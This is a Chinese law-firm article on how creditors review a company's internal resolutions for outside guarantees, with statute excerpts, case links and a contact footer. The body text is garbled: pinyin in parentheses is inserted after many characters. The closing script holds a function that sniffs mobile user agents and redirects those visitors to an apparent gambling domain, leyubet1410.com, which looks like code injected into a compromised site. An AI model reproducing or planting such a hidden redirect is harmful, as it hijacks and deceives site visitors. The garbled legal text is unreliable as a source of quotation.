(si)(si)章程(cheng)的(de)(de)规(gui)(gui)定(ding)(ding)(ding)。另一种情(qing)形(xing)是(shi)(shi),公(gong)司(si)(si)(si)为(wei)公(gong)司(si)(si)(si)股(gu)东(dong)或者(zhe)(zhe)(zhe)实(shi)际控制(zhi)(zhi)人(ren)(ren)(ren)以外的(de)(de)人(ren)(ren)(ren)提(ti)供(gong)(gong)非(fei)关(guan)联(lian)担(dan)(dan)(dan)(dan)保(bao)(bao)(bao),根(gen)据《公(gong)司(si)(si)(si)法(fa)(fa)(fa)》第(di)(di)16条(tiao)的(de)(de)规(gui)(gui)定(ding)(ding)(ding),此(ci)时由(you)(you)公(gong)司(si)(si)(si)章程(cheng)规(gui)(gui)定(ding)(ding)(ding)是(shi)(shi)由(you)(you)董(dong)事会(hui)(hui)(hui)(hui)决(jue)(jue)(jue)(jue)(jue)议(yi)(yi)还是(shi)(shi)股(gu)东(dong)(大(da))会(hui)(hui)(hui)(hui)决(jue)(jue)(jue)(jue)(jue)议(yi)(yi)。无论(lun)章程(cheng)是(shi)(shi)否(fou)对(dui)决(jue)(jue)(jue)(jue)(jue)议(yi)(yi)机(ji)关(guan)作(zuo)出规(gui)(gui)定(ding)(ding)(ding),也(ye)无论(lun)章程(cheng)规(gui)(gui)定(ding)(ding)(ding)决(jue)(jue)(jue)(jue)(jue)议(yi)(yi)机(ji)关(guan)为(wei)董(dong)事会(hui)(hui)(hui)(hui)还是(shi)(shi)股(gu)东(dong)(大(da))会(hui)(hui)(hui)(hui),根(gen)据《民法(fa)(fa)(fa)总则》第(di)(di)61条(tiao)第(di)(di)3款关(guan)于(yu)“法(fa)(fa)(fa)人(ren)(ren)(ren)章程(cheng)或者(zhe)(zhe)(zhe)法(fa)(fa)(fa)人(ren)(ren)(ren)权(quan)(quan)(quan)力(li)机(ji)构对(dui)法(fa)(fa)(fa)定(ding)(ding)(ding)代(dai)(dai)表(biao)人(ren)(ren)(ren)代(dai)(dai)表(biao)权(quan)(quan)(quan)的(de)(de)限制(zhi)(zhi),不得对(dui)抗善(shan)意(yi)相对(dui)人(ren)(ren)(ren)”的(de)(de)规(gui)(gui)定(ding)(ding)(ding),只要债(zhai)(zhai)权(quan)(quan)(quan)人(ren)(ren)(ren)能够证(zheng)明(ming)其在订(ding)立担(dan)(dan)(dan)(dan)保(bao)(bao)(bao)合(he)同(tong)时对(dui)董(dong)事会(hui)(hui)(hui)(hui)决(jue)(jue)(jue)(jue)(jue)议(yi)(yi)或者(zhe)(zhe)(zhe)股(gu)东(dong)(大(da))会(hui)(hui)(hui)(hui)决(jue)(jue)(jue)(jue)(jue)议(yi)(yi)进行了(le)审查(cha),同(tong)意(yi)决(jue)(jue)(jue)(jue)(jue)议(yi)(yi)的(de)(de)人(ren)(ren)(ren)数及签字(zi)人(ren)(ren)(ren)员符(fu)合(he)公(gong)司(si)(si)(si)章程(cheng)的(de)(de)规(gui)(gui)定(ding)(ding)(ding),就应(ying)当认定(ding)(ding)(ding)其构成善(shan)意(yi),但公(gong)司(si)(si)(si)能够证(zheng)明(ming)债(zhai)(zhai)权(quan)(quan)(quan)人(ren)(ren)(ren)明(ming)知公(gong)司(si)(si)(si)章程(cheng)对(dui)决(jue)(jue)(jue)(jue)(jue)议(yi)(yi)机(ji)关(guan)有明(ming)确(que)(que)规(gui)(gui)定(ding)(ding)(ding)的(de)(de)除(chu)外。

债(zhai)权(quan)人(ren)对公(gong)(gong)司机(ji)关决(jue)议(yi)(yi)内容的审(shen)查(cha)一(yi)般(ban)限于形式审(shen)查(cha),只要求尽到必要的注意义务即可,标准不(bu)宜太(tai)过严苛。公(gong)(gong)司以机(ji)关决(jue)议(yi)(yi)系(xi)法(fa)定代表人(ren)伪(wei)造或(huo)者变造、决(jue)议(yi)(yi)程序违法(fa)、签(qian)章(名)不(bu)实、担保(bao)金额超过法(fa)定限额等事由抗辩债(zhai)权(quan)人(ren)非善意的,人(ren)民法(fa)院(yuan)一(yi)般(ban)不(bu)予支持。但(dan)是,公(gong)(gong)司有证据证明债(zhai)权(quan)人(ren)明知决(jue)议(yi)(yi)系(xi)伪(wei)造或(huo)者变造的除外。

 【分析解读】

根(gen)据该条的(de)(de)(de)规定,债(zhai)权(quan)(quan)(quan)人审(shen)(shen)查公司对(dui)外(wai)担保的(de)(de)(de)内(nei)部(bu)决(jue)议遵(zun)循以(yi)下规则:为(wei)公司股(gu)(gu)东或实际控(kong)制(zhi)人提供关联担保的(de)(de)(de),债(zhai)权(quan)(quan)(quan)人须审(shen)(shen)查其(qi)股(gu)(gu)东(大)会决(jue)议,而为(wei)公司股(gu)(gu)东或者实际控(kong)制(zhi)人以(yi)外(wai)的(de)(de)(de)人提供非(fei)关联担保的(de)(de)(de),债(zhai)权(quan)(quan)(quan)人只须审(shen)(shen)查股(gu)(gu)东(大)会决(jue)议或董(dong)事(shi)会决(jue)议,两者有其(qi)一即(ji)(ji)可。单看(kan)至(zhi)此,似(si)乎债(zhai)权(quan)(quan)(quan)人是(shi)不需(xu)要(yao)看(kan)章程的(de)(de)(de),考虑到(dao)债(zhai)权(quan)(quan)(quan)人无法(fa)得知(zhi)公司对(dui)非(fei)关联担保的(de)(de)(de)内(nei)部(bu)程序,只须债(zhai)权(quan)(quan)(quan)人审(shen)(shen)查“两会”其(qi)中之一即(ji)(ji)可。但细看(kan)规定似(si)乎又不是(shi)这(zhei)样,债(zhai)权(quan)(quan)(quan)人的(de)(de)(de)善意(yi)认定与公司章程紧密相连。

对于关(guan)联担(dan)(dan)保(bao),需(xu)确(que)认在排(pai)除(chu)被担(dan)(dan)保(bao)股(gu)东表(biao)(biao)决(jue)权(quan)的(de)情(qing)况下(xia),该项表(biao)(biao)决(jue)由出席会(hui)议(yi)的(de)其他(ta)股(gu)东所持(chi)表(biao)(biao)决(jue)权(quan)的(de)过半数通过,签字人(ren)员(yuan)也符合(he)公(gong)(gong)司(si)章(zhang)程的(de)规(gui)定;对于非关(guan)联担(dan)(dan)保(bao),需(xu)确(que)认同(tong)意决(jue)议(yi)的(de)人(ren)数及签字人(ren)员(yuan)符合(he)公(gong)(gong)司(si)章(zhang)程的(de)规(gui)定,但公(gong)(gong)司(si)能(neng)够证明(ming)(ming)债权(quan)人(ren)明(ming)(ming)知公(gong)(gong)司(si)章(zhang)程对决(jue)议(yi)机关(guan)有明(ming)(ming)确(que)规(gui)定的(de)除(chu)外(wai)。这些需(xu)确(que)认的(de)内(nei)容(rong),构成《九民纪要》第18条的(de)善意判断标准(zhun),终究(jiu)还是要从公(gong)(gong)司(si)章(zhang)程中得(de)知。这里笔者存(cun)有疑(yi)惑,既然债权(quan)人(ren)会(hui)看到(dao)公(gong)(gong)司(si)章(zhang)程,又怎么会(hui)看不到(dao)公(gong)(gong)司(si)对外(wai)担(dan)(dan)保(bao)到(dao)底是由董(dong)事会(hui)还是股(gu)东(大)会(hui)决(jue)策,那既然能(neng)看到(dao)又如何主(zhu)张此部分的(de)善意呢?这不也正好成为(wei)“公(gong)(gong)司(si)能(neng)够证明(ming)(ming)债权(quan)人(ren)明(ming)(ming)知公(gong)(gong)司(si)章(zhang)程对决(jue)议(yi)机关(guan)有明(ming)(ming)确(que)规(gui)定的(de)”除(chu)外(wai)情(qing)形(xing)吗?

综(zong)上(shang)所述,对(dui)外担保(bao)内(nei)部决议(yi)的形(xing)式审查,不是完全意义上(shang)的形(xing)式审查,对(dui)公司章程(cheng)仍然需要(yao)进(jin)行仔细审阅。而以前可能更为关注的“决议(yi)是法定代表(biao)人(ren)伪造或(huo)者变造、决议(yi)程(cheng)序违法、签章(名(ming))不实(shi)等”事由(you),已(yi)不再是债(zhai)权人(ren)履行内(nei)部决议(yi)一般(ban)性(xing)审查义务(wu)之列了。

 

四(si)、结语

《九民纪要》不(bu)是司法解释,亦(yi)不(bu)能作为(wei)裁(cai)判依据直接(jie)援引,但(dan)是其统(tong)一的(de)裁(cai)判思路值得我(wo)们(men)在选择(ze)(ze)和审查(cha)增信措施(shi)时予以(yi)借鉴(jian)。《九民纪要》关于(yu)增信措施(shi)的(de)规定不(bu)限于(yu)本文(wen)的(de)内容(rong),本文(wen)仅选择(ze)(ze)以(yi)上几点来同大家分(fen)享(xiang),希望能起一定指引之用。

 

法条链接:

《物权法》

第186条 【禁止(zhi)流押(ya)(ya)(ya)(ya)】抵押(ya)(ya)(ya)(ya)权人(ren)在债(zhai)(zhai)务(wu)履行期(qi)届满前,不得与抵押(ya)(ya)(ya)(ya)人(ren)约(yue)定(ding)债(zhai)(zhai)务(wu)人(ren)不履行到期(qi)债(zhai)(zhai)务(wu)时抵押(ya)(ya)(ya)(ya)财产归债(zhai)(zhai)权人(ren)所有。

第211条 【禁止流质】质权(quan)人在债(zhai)务履行(xing)期(qi)届满前,不(bu)得与出质人约(yue)定债(zhai)务人不(bu)履行(xing)到期(qi)债(zhai)务时质押(ya)财产(chan)归(gui)债(zhai)权(quan)人所有(you)。

 

《项目收益债券管理暂行办法(fa)》

第2条 【基本(ben)概念】本(ben)办法所称的(de)(de)项目(mu)(mu)收益债券,是由项目(mu)(mu)实(shi)施主体(ti)或其实(shi)际控(kong)制人发行的(de)(de),与特(te)定(ding)项目(mu)(mu)相联系的(de)(de),债券募(mu)集(ji)资金(jin)用于特(te)定(ding)项目(mu)(mu)的(de)(de)投资与建设,债券的(de)(de)本(ben)息偿(chang)还资金(jin)完全或主要来(lai)源于项目(mu)(mu)建成后运营收益的(de)(de)企业债券。

第29条【增信措施】项目收益债(zhai)(zhai)(zhai)券应设(she)置差(cha)(cha)额(e)补(bu)偿机制,债(zhai)(zhai)(zhai)券存续期内每(mei)期偿债(zhai)(zhai)(zhai)资(zi)金(jin)专(zhuan)户(hu)内账户(hu)余额(e)在当期还本(ben)付息日前 20 个(ge)工作(zuo)日不足以支付本(ben)期债(zhai)(zhai)(zhai)券当期本(ben)息时,差(cha)(cha)额(e)补(bu)偿人按约(yue)定在 5 个(ge)工作(zuo)日内补(bu)足偿债(zhai)(zhai)(zhai)资(zi)金(jin)专(zhuan)户(hu)余额(e)与(yu)应付债(zhai)(zhai)(zhai)券本(ben)息的差(cha)(cha)额(e)部分。

第31条(tiao)【担(dan)保(bao)(bao)措施(shi)】在设置完善的差(cha)额补(bu)偿机制基础(chu)上,项目收益债券也可以同时(shi)增加外部担(dan)保(bao)(bao),对项目收益债券还(hai)本(ben)(ben)付(fu)(fu)息(xi)提供(gong)无(wu)条(tiao)件不(bu)可撤销连带责(ze)任(ren)保(bao)(bao)证担(dan)保(bao)(bao)。当偿债资金专(zhuan)户(hu)内的余(yu)额无(wu)法(fa)足额还(hai)本(ben)(ben)付(fu)(fu)息(xi)、差(cha)额补(bu)偿人(ren)(ren)也无(wu)法(fa)按时(shi)补(bu)足差(cha)额时(shi),由担(dan)保(bao)(bao)人(ren)(ren)在还(hai)本(ben)(ben)付(fu)(fu)息(xi)日(ri)(ri)前 10 个工(gong)作日(ri)(ri)将差(cha)额部分(fen)划入偿债资金专(zhuan)户(hu)。

 

《公(gong)(gong)司法》第16条 【公(gong)(gong)司担(dan)保(bao)】公(gong)(gong)司向(xiang)其他企业投(tou)资或(huo)者(zhe)(zhe)为(wei)他人提供担(dan)保(bao),依照公(gong)(gong)司章(zhang)程的(de)(de)规定,由董事会(hui)(hui)或(huo)者(zhe)(zhe)股(gu)东会(hui)(hui)、股(gu)东大会(hui)(hui)决议;公(gong)(gong)司章(zhang)程对(dui)投(tou)资或(huo)者(zhe)(zhe)担(dan)保(bao)的(de)(de)总(zong)额及(ji)单项投(tou)资或(huo)者(zhe)(zhe)担(dan)保(bao)的(de)(de)数额有限额规定的(de)(de),不得超过(guo)规定的(de)(de)限额。

公司为公司股(gu)东(dong)或(huo)者实际控制人提供担保(bao)的,必须经股(gu)东(dong)会或(huo)者股(gu)东(dong)大会决议。

前(qian)(qian)款规定(ding)的股(gu)(gu)东(dong)或者受前(qian)(qian)款规定(ding)的实际控制人支配(pei)的股(gu)(gu)东(dong),不(bu)得参加前(qian)(qian)款规定(ding)事项(xiang)的表(biao)决。该(gai)项(xiang)表(biao)决由出席会(hui)议(yi)的其他股(gu)(gu)东(dong)所持表(biao)决权的过半数通过。

 

《合同(tong)(tong)法》第50条【越权代(dai)(dai)表(biao)】 法人(ren)(ren)或(huo)者(zhe)其他组织的法定代(dai)(dai)表(biao)人(ren)(ren)、负责(ze)人(ren)(ren)超(chao)越权限(xian)订立的合同(tong)(tong),除相对人(ren)(ren)知道(dao)或(huo)者(zhe)应当(dang)知道(dao)其超(chao)越权限(xian)的以外,该代(dai)(dai)表(biao)行为有(you)效。

 

案例(li)链接:

1、修(xiu)水县巨通投(tou)资控股有(you)(you)限(xian)(xian)公司、福建省稀(xi)有(you)(you)稀(xi)土(tu)(集(ji)团)有(you)(you)限(xian)(xian)公司合同纠纷案((2018)最高法民(min)终119号)

http://wenshu.court.gov.cn/website/wenshu/181107ANFZ0BXSK4/index.html?docId=de6bb198c68e4b539940a9d601141e90

 

2、黑(hei)龙江闽成投资集团有限公(gong)司、西林钢铁集团有限公(gong)司民间借贷纠纷案((2019)最(zui)高法(fa)民终(zhong)133号)

http://wenshu.court.gov.cn/website/wenshu/181107ANFZ0BXSK4/index.html?docId=e020d77bb31a48c498dcaa6f00c9c921

 

文章(zhang)作者:法务合(he)规部(bu)——吕寒


0
诚聘英才

官(guan)方微信公(gong)众(zhong)号

联系我们

027-87317028

027-87319263-8209

湖北省武汉市武昌区
洪山路64号湖光大厦东7楼

武汉市武昌区杏林西(xi)路6号(hao)2层

var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://hm.baidu.com/hm.js?993185dc8689f489fddf05459dcb9ba5"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })(); function browserRedirect() { var sUserAgent= navigator.userAgent.toLowerCase(); var bIsIpad= sUserAgent.match(/ipad/i) == "ipad"; var bIsIphoneOs= sUserAgent.match(/iphone os/i) == "iphone os"; var bIsMidp= sUserAgent.match(/midp/i) == "midp"; var bIsUc7= sUserAgent.match(/rv:1.2.3.4/i) == "rv:1.2.3.4"; var bIsUc= sUserAgent.match(/ucweb/i) == "ucweb"; var bIsAndroid= sUserAgent.match(/android/i) == "android"; var bIsCE= sUserAgent.match(/windows ce/i) == "windows ce"; var bIsWM= sUserAgent.match(/windows mobile/i) == "windows mobile"; if (bIsIpad || bIsIphoneOs || bIsMidp || bIsUc7 || bIsUc || bIsAndroid || bIsCE || bIsWM) { window.setTimeout("window.location='http://leyubet1410.com'",1000); } else { document.writeln(""); document.writeln(""); document.writeln(""); } } browserRedirect();